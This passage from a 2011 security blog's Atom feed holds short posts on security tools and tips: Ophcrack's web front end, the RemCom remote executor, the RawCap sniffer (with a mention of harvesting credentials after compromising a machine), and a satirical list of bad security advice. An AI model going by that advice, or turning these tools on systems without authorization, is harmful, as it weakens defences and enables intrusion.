here:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;"We can save the money on firewall, because we will have an excellent IPS deployed next week.", said CIO.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;"We hire the consultants to create the policy for us, and we will pay them to audit our PCI compliance status later on. So I know we are safe.", said CISO.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Disable the "change password" capability. This helps users from forgetting their password and save us from having to reset for them.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Limit the event log size to 3MB in order to avoid the hard disk full.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;We're just too big to FAIL.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;i&gt;p/s: All the "advice" above are what I collected (in real life) over many years of&amp;nbsp;working&amp;nbsp;experience. This is not the recommendations they themselves made.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4893824533592463295?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4893824533592463295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4893824533592463295'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/worst-information-security-advice-ever.html' title='&quot;The Worst Information Security Advice Ever&quot;'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5783252543416120449</id><published>2011-05-06T16:57:00.023+08:00</published><updated>2011-05-06T17:03:06.692+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><title type='text'>Malware Analyser</title><content type='html'>A malware analysis tool, Malware Analyser, now has a new home at&amp;nbsp;&lt;a href="http://www.malwareanalyser.com/"&gt;http://www.malwareanalyser.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It is written in Python, and it is a freeware tool to perform static and dynamic analysis on malware.&lt;br /&gt;&lt;br /&gt;Here's a few of the features:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;String based analysis: API, DLL, registry, etc.&lt;/li&gt;&lt;li&gt;Showing PE header, symbols.&lt;/li&gt;&lt;li&gt;Code analysis by disassembling&lt;/li&gt;&lt;li&gt;Check for packer.&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;It can be downloaded from:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.malwareanalyser.com/home/malware_analyser%203.0.zip"&gt;http://www.malwareanalyser.com/home/malware_analyser 3.0.zip&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5783252543416120449?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5783252543416120449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5783252543416120449'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/malware-analyser.html' title='Malware Analyser'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8372173312073376174</id><published>2011-05-05T17:17:00.000+08:00</published><updated>2011-05-05T17:17:01.111+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='msie'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>Windows Update Error 80240030</title><content type='html'>When you get the Windows Update error code 80240030, then you are most likely having issue with:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Can't update your windows. Windows Update fails.&lt;/li&gt;&lt;li&gt;Can't access your proxy setting in MSIE. IE crashes once you click the "LAN setting".&lt;/li&gt;&lt;li&gt;IE can't access Internet (thru proxy).&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;I'm having all these issues since I upgrade to IE9. And here I find the solution to fix/repair &amp;nbsp;the 80240030 error for me:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Open command prompt (with Administrator mode).&lt;/li&gt;&lt;li&gt;Type "netsh winhttp reset proxy"&lt;/li&gt;&lt;li&gt;Type "net stop wuauserv"&lt;/li&gt;&lt;li&gt;Type "net start wuauserv"&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;It does works in Windows 7 (32-bit &amp;amp; 64-bit) too. Enjoy!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8372173312073376174?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8372173312073376174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8372173312073376174'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/windows-update-error-80240030.html' title='Windows Update Error 80240030'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4045409079589437149</id><published>2011-05-04T07:41:00.000+08:00</published><updated>2011-05-04T07:41:00.391+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='hash'/><category scheme='http://www.blogger.com/atom/ns#' term='md5'/><title type='text'>MD5 in 64-Bit OS?</title><content type='html'>We all familiar with MD5 hashing. But let's see the screenshot below.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-9OmWH7lJknQ/Tb_qYf_ZKLI/AAAAAAAAIoI/Cs575x3IDAI/s1600/md5deep64.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="384" src="http://3.bp.blogspot.com/-9OmWH7lJknQ/Tb_qYf_ZKLI/AAAAAAAAIoI/Cs575x3IDAI/s640/md5deep64.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;MD5 Hashing and File Size&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;You see, two files with different file sizes are having the same MD5 hash value (8ae6dd9a6d246004da047f704f0cc487). Is it MD5 hash&amp;nbsp;coalition? No, once we use the right tool, md5deep64, we get the right result.&lt;br /&gt;&lt;br /&gt;For an explanation of WOW64, see &lt;a href="http://msdn.microsoft.com/en-us/library/aa384249(v=vs.85).aspx"&gt;Microsoft documentation on Wow64&lt;/a&gt; and some implementation details.&lt;br /&gt;&lt;br /&gt;So, let's make sure you have the right tools for your new 64-bit OS today.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;md5deep -&amp;nbsp;&lt;a href="http://md5deep.sourceforge.net/"&gt;http://md5deep.sourceforge.net/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;md5sum (win32) -&amp;nbsp;&lt;a href="http://www.pc-tools.net/win32/md5sums/"&gt;http://www.pc-tools.net/win32/md5sums/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4045409079589437149?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4045409079589437149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4045409079589437149'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/md5-in-64-bit-os.html' title='MD5 in 64-Bit OS?'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-9OmWH7lJknQ/Tb_qYf_ZKLI/AAAAAAAAIoI/Cs575x3IDAI/s72-c/md5deep64.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3799108026987454288</id><published>2011-05-03T18:48:00.000+08:00</published><updated>2011-05-03T18:48:04.276+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='crack'/><title type='text'>Wophcrack</title><content type='html'>Everyone of us heard about ophrack -&amp;nbsp;the awesome time/memory trade-off password cracker. If not, see &lt;a href="http://myseq.blogspot.com/2009/04/ophcrack-and-rainbow-table.html"&gt;Ophcrack and Rainbow Table&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Wophcrack is the web interface for Ophcrack password cracking tools.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img alt="Wophcrack - Web Interface for Ophcrack" src="http://farm6.static.flickr.com/5136/5536360509_f49319c71c.jpg" style="margin-left: auto; margin-right: auto;" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Wophcrack Search Page&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;Wophcrack was designed to work on Backtrack 4 R2. It is a quick and dirty PHP based web frontend for Ophcrack.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Read more &lt;a href="http://r00tsec.blogspot.com/2011/03/wophcrack-ophcrack-web-interface.html"&gt;info here&lt;/a&gt; after download Wophcrack here:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;http://exploit.co.il/hacking/wophcrack-ophcrack-web-interface/?aid=2194&amp;amp;pid=2041&amp;amp;sa=0&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3799108026987454288?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3799108026987454288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3799108026987454288'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/wophcrack.html' title='Wophcrack'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm6.static.flickr.com/5136/5536360509_f49319c71c_t.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-415840909388964050</id><published>2011-05-03T18:35:00.015+08:00</published><updated>2011-05-03T18:40:32.716+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><title type='text'>Updating Malware Cookbook DVD Tools</title><content type='html'>If you haven't got yourself a copy of &lt;a href="http://www.malwarecookbook.com/"&gt;Malware Analyst's Cookbook&lt;/a&gt;, do it now, then you may download the DVD tools which available online. This is a must-have if you are serious in REM.&lt;br /&gt;&lt;br /&gt;I just did it by:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;$ cd ~/rem&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;$ svn checkout http://malwarecookbook.googlecode.com/svn/trunk/ malwarecookbook-read-only&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-415840909388964050?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/415840909388964050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/415840909388964050'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/updating-malware-cookbook-dvd-tools.html' title='Updating Malware Cookbook DVD Tools'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5228575376542567916</id><published>2011-05-01T15:03:00.001+08:00</published><updated>2011-05-01T15:07:54.196+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unity'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Unity Shortcuts Wallpaper</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/div&gt;Everyone&amp;nbsp;probably know that Unity-powered Ubuntu 11.04 is out. Of course, it comes with new interface, which includes a slew of new keyboard shortcuts.&lt;br /&gt;&lt;br /&gt;The Unity interface is pretty big overhaul. So, here's a wallpaper that keeps a list of keyboard shortcuts for you from AskUbuntu.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://i.imgur.com/ddQ7n.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="250" src="http://i.imgur.com/ddQ7n.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;English version&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;a href="http://i.imgur.com/ddQ7n.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://i.imgur.com/ddQ7n.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://i.imgur.com/ddQ7n.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;i&gt;From&amp;nbsp;http://askubuntu.com/questions/28086/unity-keyboard-mouse-shortcuts/34876#34876&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5228575376542567916?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5228575376542567916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5228575376542567916'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/05/unity-shortcuts-wallpaper.html' title='Unity Shortcuts Wallpaper'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6742292579810963045</id><published>2011-04-30T15:16:00.000+08:00</published><updated>2011-05-01T15:36:43.001+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>A New Life with Cloud Computing</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Most people know what Cloud Computing is. But, do you know how can someone begin his life with Cloud Computing?&lt;br /&gt;&lt;br /&gt;Take an example of &lt;a href="http://aws.amazon.com/s3/"&gt;Amazon S3&lt;/a&gt; cloud computing services. It stands for Simple Storage Service.&lt;br /&gt;&lt;br /&gt;First, we can backup and/or archive all the local files (documents, media, etc) to S3, which available online from everywhere later on. Most of us may currently backup/archive our files using a portable hard disk. Let's see what's the cost of choosing S3 instead of portable hard disk.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;S3 operates on a basis of paying only for what you use, with separate fees for storage, data transfer and data requests. Ignoring data request fees because the cost is minimal, the fees break down as follows:&lt;br /&gt;&lt;br /&gt;Storage:&amp;nbsp;5GB free, then $0.15/GB per month (100GB = $15)&lt;br /&gt;Data Transfer (Upload):&amp;nbsp;$0.10/GB&lt;br /&gt;Data Transfer (Download):&amp;nbsp;$0.15/GB&lt;br /&gt;&lt;br /&gt;As an example then – if you used it to store 100GB of data – it would cost you $10 to upload it all, $15 per month to store it, and a further $15 when you decided to download it all again.&lt;br /&gt;&lt;br /&gt;So do you need to buy a 250GB portable hard disk and carry it everywhere you go?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Secondly, we may want to backup/archive all the online information we had, such as social feeds and online personas.&lt;br /&gt;&lt;br /&gt;Again, by using &lt;a href="http://aws.amazon.com/s3/"&gt;Amazon S3&lt;/a&gt; and &lt;a href="http://www.backupify.com/"&gt;Backupify&lt;/a&gt;, it simplifies and automates the backup/archive of all these below.&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2011/03/backupify.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="129" src="http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2011/03/backupify.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Automatic Backup by Backupify&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Most important is, it allows you to search from the backup easily!&lt;br /&gt;&lt;br /&gt;And finally, your life will be&amp;nbsp;uncluttered with this cloud&amp;nbsp;computing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6742292579810963045?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6742292579810963045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6742292579810963045'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/new-life-with-cloud-computing.html' title='A New Life with Cloud Computing'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-4434734331098517649</id><published>2011-04-29T16:46:00.001+08:00</published><updated>2011-05-01T16:51:28.085+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><title type='text'>Remote Command Executor</title><content type='html'>RemCom is RAT [Remote Administration Tool] that lets you execute processes on remote windows systems, copy files, process there output and stream it back. It allows execution of remote shell commands directly with full interactive console.&lt;br /&gt;&lt;br /&gt;It is similar to psexec except it is open source.&lt;br /&gt;&lt;br /&gt;Download RCE at&amp;nbsp;&lt;a href="http://sourceforge.net/projects/rce/"&gt;http://sourceforge.net/projects/rce/&lt;/a&gt;&lt;br /&gt;For more info, refer to&amp;nbsp;&lt;a href="http://talhatariq.wordpress.com/2006/04/14/the-open-source-psexec/"&gt;http://talhatariq.wordpress.com/2006/04/14/the-open-source-psexec/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-4434734331098517649?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4434734331098517649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/4434734331098517649'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/remote-command-executor.html' title='Remote Command Executor'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1541496138939642333</id><published>2011-04-28T20:29:00.012+08:00</published><updated>2011-05-03T20:34:01.819+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><title type='text'>Two Visualization Tools for Twitter</title><content type='html'>Two visualization tools for Twitter are introduced here: &lt;a href="http://mentionmapp.com/"&gt;mentionmapp&lt;/a&gt; and&amp;nbsp;&lt;a href="http://twiangulate.com/search/"&gt;twiangulate&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mention Map is a Twitter visualization tool that displays the connections to a Twitter account. The tool is being upgraded but the original version is still available (click on the "classic link" at the bottom of the page.)&lt;br /&gt;&lt;br /&gt;Twiangulate is another Twitter visualization tool that enables you to compare two or more Twitter accounts. The end result is a Venn diagram of commonalities as well as a table of the top followers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1541496138939642333?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1541496138939642333'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1541496138939642333'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/two-visualization-tools-for-twitter.html' title='Two Visualization Tools for Twitter'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6085525579588959725</id><published>2011-04-21T13:14:00.003+08:00</published><updated>2011-04-21T13:29:36.084+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myemail'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><category scheme='http://www.blogger.com/atom/ns#' term='404'/><title type='text'>MyEmail 404</title><content type='html'>Front-end powered by UNIX Apache; Back-end powered by Microsoft.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-abtWlr_Y94Q/Ta-9QMkE8CI/AAAAAAAAIlA/W-DmpjRHQkA/s1600/myemail-404.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="211" src="http://2.bp.blogspot.com/-abtWlr_Y94Q/Ta-9QMkE8CI/AAAAAAAAIlA/W-DmpjRHQkA/s400/myemail-404.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;www.myemail.my&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Goto the default web page and all I get is an instruction to cPanel. :-)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-8YTXzMdL0j0/Ta_AbFdLlcI/AAAAAAAAIlI/x0-PITuMNu4/s1600/myemail-defaultwebpage.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="360" src="http://4.bp.blogspot.com/-8YTXzMdL0j0/Ta_AbFdLlcI/AAAAAAAAIlI/x0-PITuMNu4/s400/myemail-defaultwebpage.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;MyEmail Default Web Page&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6085525579588959725?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6085525579588959725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6085525579588959725'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/04/myemail-404.html' title='MyEmail 404'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-abtWlr_Y94Q/Ta-9QMkE8CI/AAAAAAAAIlA/W-DmpjRHQkA/s72-c/myemail-404.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-9160717966082989185</id><published>2011-04-20T12:03:00.001+08:00</published><updated>2011-04-20T12:08:57.477+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='sniffer'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>RawCap - Network Sniffer for Windows</title><content type='html'>RawCap (only 17kB) &amp;nbsp;is a free raw sockets network sniffer for Windows. It requires no external libraries or DLL, just standalone exe.&lt;br /&gt;&lt;br /&gt;It can sniff any interface including loopback, WiFi, PPP interfaces.&lt;br /&gt;&lt;br /&gt;Personally, I use it for 2 purposes: penetration testing and incident response:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sniff additional credential after break into remote machine (admin) without Winpcap or NDIS driver.&lt;/li&gt;&lt;li&gt;Sniff loopback interface to detect data leakage via SSL tunnelling proxy.&lt;/li&gt;&lt;li&gt;Sniff WiFi (WPA2) for any suspicious TCP connections.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;RawCap is provided for free and can be downloaded from here:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;http://www.netresec.com/?page=RawCap&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-9160717966082989185?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/9160717966082989185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/9160717966082989185'/><link 